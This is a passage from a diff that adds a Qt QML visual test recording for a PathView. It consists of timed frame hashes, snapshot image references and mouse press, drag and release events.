+ hash: "a4a436b32e96fe5f9c3309bd1cabe65a"
+ }
+ Frame {
+ msec: 1616
+ hash: "cb801c9d2b7f04a0413898ea74c61f80"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 339; y: 152
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 334; y: 152
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1632
+ hash: "2e74cc22a4e5b20cc231bc08e15e662a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 245; y: 152
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 161; y: 148
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1648
+ hash: "27be226c985bb0143d1dca3e4be4b10a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 139; y: 150
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 139; y: 150
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1664
+ hash: "9384d46806b2a8091b6d16f7636d6ae4"
+ }
+ Frame {
+ msec: 1680
+ hash: "38e396c6fa5754d0070e4fd17ab2dc8b"
+ }
+ Frame {
+ msec: 1696
+ hash: "dc1facc91b6935983bbcd2eada452d4d"
+ }
+ Frame {
+ msec: 1712
+ hash: "6bb08cc431a3ecca1a553ea10669bb0c"
+ }
+ Frame {
+ msec: 1728
+ hash: "1330640d4ca9ac69dd089cea34b7f61d"
+ }
+ Frame {
+ msec: 1744
+ hash: "95370207a55b56c41923937b40d5fe6b"
+ }
+ Frame {
+ msec: 1760
+ hash: "ba1a6b8e55d7c5d73b371c8821f8caa2"
+ }
+ Frame {
+ msec: 1776
+ hash: "ec19910e0f7b3e218d5a1992a7d00c4a"
+ }
+ Frame {
+ msec: 1792
+ hash: "7ca87adb6f69c5530be9da6df6b1d9a9"
+ }
+ Frame {
+ msec: 1808
+ hash: "05109c3dfac7f65fe00e81d1a145f048"
+ }
+ Frame {
+ msec: 1824
+ hash: "3da4fe69c1d6904a36d95bcd43f52195"
+ }
+ Frame {
+ msec: 1840
+ hash: "3cdb89ceb3ee66349b8a19301cc58e3d"
+ }
+ Frame {
+ msec: 1856
+ hash: "98088442867a0f1ec90144c531c9c5fb"
+ }
+ Frame {
+ msec: 1872
+ hash: "22d87a7d6409e2ce659a869dce57eef8"
+ }
+ Frame {
+ msec: 1888
+ hash: "c1466f188c724c889017db70e2d60153"
+ }
+ Frame {
+ msec: 1904
+ hash: "e5392d308078449277be8d2f57561551"
+ }
+ Frame {
+ msec: 1920
+ hash: "f0dcfd9b22f385fedfde964774480f85"
+ }
+ Frame {
+ msec: 1936
+ image: "test-pathview.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "8d6a232f303e48c9366dbf265cedf958"
+ }
+ Frame {
+ msec: 1968
+ hash: "c6bc2031a4c59eb7a5b34e663252e91c"
+ }
+ Frame {
+ msec: 1984
+ hash: "bf8be42cdcdcfd205c8cb7e937ff5d0d"
+ }
+ Frame {
+ msec: 2000
+ hash: "ac57c578e7e2cbb57e982d6da5fb7268"
+ }
+ Frame {
+ msec: 2016
+ hash: "db40e242fabf119f0e7187eeb96a34a5"
+ }
+ Frame {
+ msec: 2032
+ hash: "9a2c8dd1883824415f5825a2a5cf3d09"
+ }
+ Frame {
+ msec: 2048
+ hash: "78e31d9b30619ee5774d3cf10b5af762"
+ }
+ Frame {
+ msec: 2064
+ hash: "67a28c2188aecfc5dcccedd257789dbc"
+ }
+ Frame {
+ msec: 2080
+ hash: "4355f220c8a87ad981088fb23bb15f11"
+ }
+ Frame {
+ msec: 2096
+ hash: "6a2f7dde022d4044e8772b8fcc28b02e"
+ }
+ Frame {
+ msec: 2112
+ hash: "ba13b0b4790aec7084b5553fe0b0d72b"
+ }
+ Frame {
+ msec: 2128
+ hash: "662402cd180eb325c174b6935a9d3f0a"
+ }
+ Frame {
+ msec: 2144
+ hash: "8eb192c9d01fe205ddcba2d5cadab65f"
+ }
+ Frame {
+ msec: 2160
+ hash: "bcc69f859b3bff759e0c732c7adc23f0"
+ }
+ Frame {
+ msec: 2176
+ hash: "bc0ee50215b6b31422ee423f7955770c"
+ }
+ Frame {
+ msec: 2192
+ hash: "955212dc28a6f8fe59c658401284d3a3"
+ }
+ Frame {
+ msec: 2208
+ hash: "0ce5216f041f657a96ae4693319bfad3"
+ }
+ Frame {
+ msec: 2224
+ hash: "0370a09ab78439e9df487ea55853ef98"
+ }
+ Frame {
+ msec: 2240
+ hash: "23190380ddcc4e3afce2164a4743d179"
+ }
+ Frame {
+ msec: 2256
+ hash: "40ca7c3d24883a8d3457de934b247280"
+ }
+ Frame {
+ msec: 2272
+ hash: "299ed19fa4d213e0e9dd127e8799d5fc"
+ }
+ Frame {
+ msec: 2288
+ hash: "e39a067860fa7dcb4efba87aee58cc77"
+ }
+ Frame {
+ msec: 2304
+ hash: "a709045723c4a9a2e85295fcc360eea9"
+ }
+ Frame {
+ msec: 2320
+ hash: "44ecad3423a36882755fad6fb79bc2c8"
+ }
+ Frame {
+ msec: 2336
+ hash: "b3eaadeb9d3b008fcf21c58158e8b028"
+ }
+ Frame {
+ msec: 2352
+ hash: "110b000fa3e122560480d466fe231b21"
+ }
+ Frame {
+ msec: 2368
+ hash: "51f7c896d79c900a2b54a8c756228200"
+ }
+ Frame {
+ msec: 2384
+ hash: "28c18081813c801c6793873ec23e6c0c"
+ }
+ Frame {
+ msec: 2400
+ hash: "65c1f85d2086f5e6d95d9b99a84281a5"
+ }
+ Frame {
+ msec: 2416
+ hash: "752cb6969fa8b76abf4bb229edb2c21f"
+ }
+ Frame {
+ msec: 2432
+ hash: "f00ea591d697546b5afe4420b702db49"
+ }
+ Frame {
+ msec: 2448
+ hash: "d510db233f025b026f896b760848cc07"
+ }
+ Frame {
+ msec: 2464
+ hash: "e5c8d361abcbc15df0b0b82728cb5b84"
+ }
+ Frame {
+ msec: 2480
+ hash: "e5c8d361abcbc15df0b0b82728cb5b84"
+ }
+ Frame {
+ msec: 2496
+ hash: "e5c8d361abcbc15df0b0b82728cb5b84"
+ }
+ Frame {
+ msec: 2512
+ hash: "e5c8d361abcbc15df0b0b82728cb5b84"
+ }
+ Frame {
+ msec: 2528
+ hash: "e5c8d361abcbc15df0b0b82728cb5b84"
+ }
+ Frame {
+ msec: 2544
+ hash: "e5c8d361abcbc15df0b0b82728cb5b84"
+ }
+ Frame {
+ msec: 2560
+ hash: "e5c8d361abcbc15df0b0b82728cb5b84"
+ }
+ Frame {
+ msec: 2576
+ hash: "e5c8d361abcbc15df0b0b82728cb5b84"
+ }
+ Frame {
+ msec: 2592
+ hash: "e5c8d361abcbc15df0b0b82728cb5b84"
+ }
+ Frame {
+ msec: 2608
+ hash: "e5c8d361abcbc15df0b0b82728cb5b84"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 72; y: 121
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2624
+ hash: "e5c8d361abcbc15df0b0b82728cb5b84"
+ }
+ Frame {
+ msec: 2640
+ hash: "e5c8d361abcbc15df0b0b82728cb5b84"
+ }
+ Frame {
+ msec: 2656
+ hash: "e5c8d361abcbc15df0b0b82728cb5b84"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 73; y: 121
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 74; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2672
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 79; y: 123
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 95; y: 129
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2688
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 126; y: 138
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 161; y: 148
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2704
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 194; y: 158
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 239; y: 169
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2720
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 280; y: 178
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 313; y: 185
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2736
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 344; y: 191
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 344; y: 191
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2752
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 2768
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 2784
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 2800
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 2816
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 2832
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 2848
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 2864
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 2880
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 2896
+ image: "test-pathview.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 2928
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 2944
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 2960
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 2976
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 2992
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 3008
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 3024
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 3040
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 3056
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 3072
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 3088
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 152; y: 143
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3104
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 3120
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 3136
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 3152
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 3168
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 151; y: 144
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3184
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Frame {
+ msec: 3200
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 152; y: 145
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 153; y: 145
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3216
+ hash: "f728208b0fc2f230313c86378cf7f419"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 155; y: 146
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 157; y: 146
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3232
+ hash: "7d43010a9951054df82571936a04cc50"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 161; y: 147
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 164; y: 148
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3248
+ hash: "ab1980970c82238d2c37d61db4fc5153"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 166; y: 148
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 168; y: 149
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3264
+ hash: "dc7f5231d844b36e1429f1072080a60c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 170; y: 150
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 171; y: 150
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3280
+ hash: "161410fe9eb458c717cfbb9ef0626535"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 175; y: 150
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 177; y: 151
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3296
+ hash: "91a884de3e19dc6ca7fcde32492b3ff1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 180; y: 152
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 183; y: 152
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3312
+ hash: "ab2d88a4cd58d0064c32660272ff1dbd"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 187; y: 153
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 191; y: 154
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3328
+ hash: "ed299cd4ef2364ab1d7b702e2b0a7233"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 193; y: 154
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 195; y: 154
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3344
+ hash: "4346ad16720e853154bfc1a22d9e7f55"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 197; y: 154
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 199; y: 155
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3360
+ hash: "1347a26241ed98d4913e1cb6cda58286"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 202; y: 155
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 202; y: 155
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3376
+ hash: "2efe07858c0c4de7fd3e339d7a24d5f5"
+ }
+ Frame {
+ msec: 3392
+ hash: "3edbe6755710ce148341faeb6980707a"
+ }
+ Frame {
+ msec: 3408
+ hash: "fb7b31720b9de8d820ce29d9861482dd"
+ }
+ Frame {
+ msec: 3424
+ hash: "4bb82c8b498b41e0785bea6b2c52b5e6"
+ }
+ Frame {
+ msec: 3440
+ hash: "207003ce6908f9707e9193a6c82a40c0"
+ }
+ Frame {
+ msec: 3456
+ hash: "04f3c7a5cb270405446cbb85da8c1c16"
+ }
+ Frame {
+ msec: 3472
+ hash: "1fdaaa68c4ed484536c207a0eacf6e72"
+ }
+ Frame {
+ msec: 3488
+ hash: "d1223c8254f9e7e37c4e09628f38bce2"
+ }
+ Frame {
+ msec: 3504
+ hash: "3b0dce0a781799bd24073a6dc9717f68"
+ }
+ Frame {
+ msec: 3520
+ hash: "1f6fc9f37a02e54418d90307f06c5b6f"
+ }
+ Frame {
+ msec: 3536
+ hash: "a1116c06874af67ff54d69009f78d4da"
+ }
+ Frame {
+ msec: 3552
+ hash: "4717c402fc7ad0d3f44b9944672d2746"
+ }
+ Frame {
+ msec: 3568
+ hash: "7a180273295e9a30f5e26cdb080b87f2"
+ }
+ Frame {
+ msec: 3584
+ hash: "8d8c117ca102cb93e752904fe3aee7bc"
+ }
+ Frame {
+ msec: 3600
+ hash: "3cee427f42e8ccd33e9fccd903ae6f1d"
+ }
+ Frame {
+ msec: 3616
+ hash: "bbd5f2b95325fde3b8759f2ef713c6bd"
+ }
+ Frame {
+ msec: 3632
+ hash: "25779cf68847c0a132ea4aed6a5ef4d3"
+ }
+ Frame {
+ msec: 3648
+ hash: "5a424e7e66d87d278483c43070920d56"
+ }
+ Frame {
+ msec: 3664
+ hash: "ae28bc20e20e022e1ac9bc2ddac0e134"
+ }
+ Frame {
+ msec: 3680
+ hash: "9f3c20980b481806ce7c1b33c177a049"
+ }
+ Frame {
+ msec: 3696
+ hash: "5fb403dc08f95fb0651dcd33d32ef6c0"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 117; y: 142
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 118; y: 142
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3712
+ hash: "c6422e39ed268dd67846e55908bc6f21"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 118; y: 143
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3728
+ hash: "913269856c18d4f478eed1aa1d5ae293"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 119; y: 143
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 120; y: 143
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3744
+ hash: "2c6a32e167bef4c3de0ca97e5764f31b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 121; y: 144
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 122; y: 144
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3760
+ hash: "88386cf4d982c5ca4e3fbd3519d9bd9c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 123; y: 144
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 124; y: 144
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3776
+ hash: "8c30751e1d1e443b5ad217151e8e8fc8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 126; y: 144
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 129; y: 145
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3792
+ hash: "b09c45ea79cd818bac6fe35e4167d4bd"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 132; y: 145
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 135; y: 146
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3808
+ hash: "e621e9486e10332d937417a0b6be6be7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 139; y: 147
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 143; y: 149
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3824
+ hash: "f4a805fc5c12cc3b2a22ef01050bf3aa"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 147; y: 150
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 152; y: 151
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3840
+ hash: "aa7805e4d806c4c56ded804145c44464"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 156; y: 152
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 161; y: 153
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3856
+ image: "test-pathview.4.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 168; y: 155
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 175; y: 155
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3872
+ hash: "f6495f86ae29c7a996b3302300e98f75"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 184; y: 157
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 194; y: 158
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3888
+ hash: "0dda191a66162db6365c663979b0990d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 203; y: 160
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 211; y: 160
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3904
+ hash: "72a57fe4fc34a19040890a9e2a11dae5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 221; y: 162
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 231; y: 162
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3920
+ hash: "3a303646ea0fd126ee00c847efa48d0c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 241; y: 162
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 251; y: 164
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3936
+ hash: "8d33b6fa9d6525902e5611cf8ed2fa1f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 276; y: 167
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3952
+ hash: "d73a8eba0c43f214946052481f3db98f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 288; y: 167
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 301; y: 169
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3968
+ hash: "c2f101636963ff5c61be2ad83c6b7ceb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 312; y: 169
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 324; y: 171
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 324; y: 171
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3984
+ hash: "54630f489303c7ec2e94b4c941bd310f"
+ }
+ Frame {
+ msec: 4000
+ hash: "357106c752b13bcca047d55a3c7cd486"
+ }
+ Frame {
+ msec: 4016
+ hash: "3cc1355449b8ec7209537fedb0af43b1"
+ }
+ Frame {
+ msec: 4032
+ hash: "7da9e4197cb9be292e561790af1caa27"
+ }
+ Frame {
+ msec: 4048
+ hash: "2f4e6b57c6a4fa1689e585214f35702a"
+ }
+ Frame {
+ msec: 4064
+ hash: "76edfedd2b9edcc5770dcce87b022427"
+ }
+ Frame {
+ msec: 4080
+ hash: "68165bd37b4cb1609d686a361ae54e06"
+ }
+ Frame {
+ msec: 4096
+ hash: "436e81734e23502ef8604145d5892c41"
+ }
+ Frame {
+ msec: 4112
+ hash: "93f005a5a6a989db3e1702fa4f11f6ee"
+ }
+ Frame {
+ msec: 4128
+ hash: "7d00d2a606d92cb8c0726c14cba0f989"
+ }
+ Frame {
+ msec: 4144
+ hash: "32ebb24cee3ba65f9242708538203553"
+ }
+ Frame {
+ msec: 4160
+ hash: "948429b8ded1f688cd7e27e0f056f40c"
+ }
+ Frame {
+ msec: 4176
+ hash: "c6fc2e8519a31bc18eb924ca98cd24be"
+ }
+ Frame {
+ msec: 4192
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 4208
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 4224
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 4240
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 4256
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 4272
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 4288
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 4304
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 4320
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 4336
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 4352
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 4368
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 4384
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Frame {
+ msec: 4400
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 112; y: 126
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4416
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 112; y: 128
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4432
+ hash: "a29d4b3fa16829823e63bf83e7b62aff"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 114; y: 128
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 115; y: 130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4448
+ hash: "96815da788d9968a173e7005d3ca8bff"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 116; y: 130
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 119; y: 132
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4464
+ hash: "6949c70729c3e43bc59cc12d4bb82d8f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 122; y: 134
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 131; y: 138
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4480
+ hash: "26ce66ebfa6eec9eab4d987ef4ec5d5f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 147; y: 144
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 168; y: 151
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 4496
+ hash: "46e206837a34ba4d418c4e1098b49fd8"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 190; y: 157
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 219; y: 164
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
